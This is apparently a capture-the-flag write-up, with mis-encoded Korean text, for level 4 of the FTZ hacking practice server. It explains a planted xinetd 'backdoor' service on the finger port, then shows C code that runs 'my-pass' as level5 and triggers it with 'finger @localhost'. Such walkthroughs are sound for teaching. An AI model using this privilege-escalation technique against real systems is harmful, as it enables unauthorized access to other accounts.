[FTZ] Level4 νμ΄
π‘ FTZ Level4 νμ΄
λ¬Έμ
κ³μ : level4/suck my brain
hint
λκ΅°κ° /etc/xinetd.d/μ λ°±λμ΄λ₯Ό μ¬μ΄λμλ€.!
νμ΄
/etc/xinetd.d/ ν΄λλ₯Ό 보λ, backdoor
νμΌμ΄ μμ±λμ΄ μμ΅λλ€.
[level4@ftz level4]$ cat /etc/xinetd.d/backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
μμ xinetd μ€μ νμΌμ λ€μκ³Ό κ°μ΄ λμν©λλ€.
- service finger -> /etc/servicesμ μ€μ λ νμΌμ λ°λΌμ 79λ² ν¬νΈλ‘ λ€μ΄μ€λ fingerμλΉμ€μ λν μμ²μ ν΄λΉ νμΌμμ μ²λ¦¬ νλ€λ μλ―Έ
- disable = no -> yesλ λλ€λ μλ―Έκ³ noλ μλμ€
- flags,socket_type,wait -> tcp μλΉμ€μΌλ μ΄λ κ² μμ±ν΄ μ€
- user = level5 -> μλ server νμΌμ μλμν¬ λ κΆνμ΄ level5μ
- server -> ν΄λΉ μλΉμ€κ° λ€μ΄μ€λ©΄, user κΆνμ λ°λΌμ ../tmp/backdoor νμΌμ΄ μ€νλλ€λ μλ―Έ
μ¦ νμ¬ 79λ² ν¬νΈλ‘ λ€μ΄μ¨ μμ²μ λν΄μ level5μ κΆνμΌλ‘ backdoorλ₯Ό μ€ννλλ‘ μ€μ λμ΄ μμ΅λλ€.
/home/level4/tmp/backdoor νμΌμ νμ¬ μ‘΄μ¬ νμ§ μμ΅λλ€.
λ°λΌμ λ€μκ³Ό κ°μ΄ /tmp ν΄λμ backdoor.c νμΌμ λ§λ€μ΄ μ€λλ€.
backdoor.c
#include <stdio.h>
int main(){
system("my-pass");
return 0;
}
λ§λ λ€μ /tmp ν΄λμμ backdoorλΌλ μ΄λ¦μΌλ‘ μ»΄νμΌ ν΄ μ€λλ€.
gcc -o backdoor backdoor.c
μ΄μ λ°±λμ΄ νμΌμ΄ λκΈ°νκ³ μμΌλ―λ‘, 79λ² ν¬νΈλ‘ μλΉμ€λ₯Ό μμ²ν΄ μ€λλ€.
μλΉμ€λ λ€μκ³Ό κ°μ΄ μμ²ν©λλ€.
finger @localhost
λκΈλ¨κΈ°κΈ°